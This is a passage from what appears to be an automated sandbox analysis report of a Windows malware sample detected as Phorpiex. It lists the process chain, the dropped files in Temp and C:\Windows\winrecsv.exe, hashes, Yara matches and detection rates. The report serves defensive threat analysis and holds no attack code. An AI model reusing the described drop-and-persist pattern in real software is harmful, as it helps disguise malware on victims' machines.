6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: 4dzlU0beKB.exePID: 2372, Parent PID: 5556

General

Target ID:	0
Start time:	02:15:54
Start date:	31/08/2022
Path:	C:\Users\user\Desktop\4dzlU0beKB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\4dzlU0beKB.exe"
Imagebase:	0x3c0000
File size:	9216 bytes
MD5 hash:	FE304E909FB1F67C4D9030FC74D0A2F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: 2314729694.scrPID: 3508, Parent PID: 2372

General

Target ID:	3
Start time:	02:16:02
Start date:	31/08/2022
Path:	C:\Users\user\AppData\Local\Temp\2314729694.scr
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\2314729694.scr
Imagebase:	0x400000
File size:	77312 bytes
MD5 hash:	ED2D7B25BB360CCCB4F0F6A4F8732D7A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000003.00000003.277857750.00000000006B3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000003.00000000.271515410.0000000000410000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000003.00000002.280898564.0000000000410000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Users\user\AppData\Local\Temp\2314729694.scr, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 68%, Metadefender, Browse Detection: 96%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: winrecsv.exePID: 868, Parent PID: 3508

General

Target ID:	4
Start time:	02:16:05
Start date:	31/08/2022
Path:	C:\Windows\winrecsv.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\winrecsv.exe
Imagebase:	0x400000
File size:	77312 bytes
MD5 hash:	ED2D7B25BB360CCCB4F0F6A4F8732D7A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000004.00000002.281020089.0000000000410000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000004.00000000.277775782.0000000000410000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Windows\winrecsv.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 68%, Metadefender, Browse Detection: 96%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: winrecsv.exePID: 4860, Parent PID: 3452

General

Target ID:	9
Start time:	02:16:15
Start date:	31/08/2022
Path:	C:\Windows\winrecsv.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\winrecsv.exe"
Imagebase:	0x400000
File size:	77312 bytes
MD5 hash:	ED2D7B25BB360CCCB4F0F6A4F8732D7A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000009.00000002.522368443.0000000000410000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000009.00000000.298830190.0000000000410000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: 2201832713.exePID: 2028, Parent PID: 4860

General

Target ID:	15
Start time:	02:16:40
Start date:	31/08/2022
Path:	C:\Users\user\AppData\Local\Temp\2201832713.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\2201832713.exe
Imagebase:	0x3d0000
File size:	6656 bytes
MD5 hash:	8F56F0F0C9A4AA6C0BDA072D8BF7C769
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 35%, ReversingLabs
Reputation:	low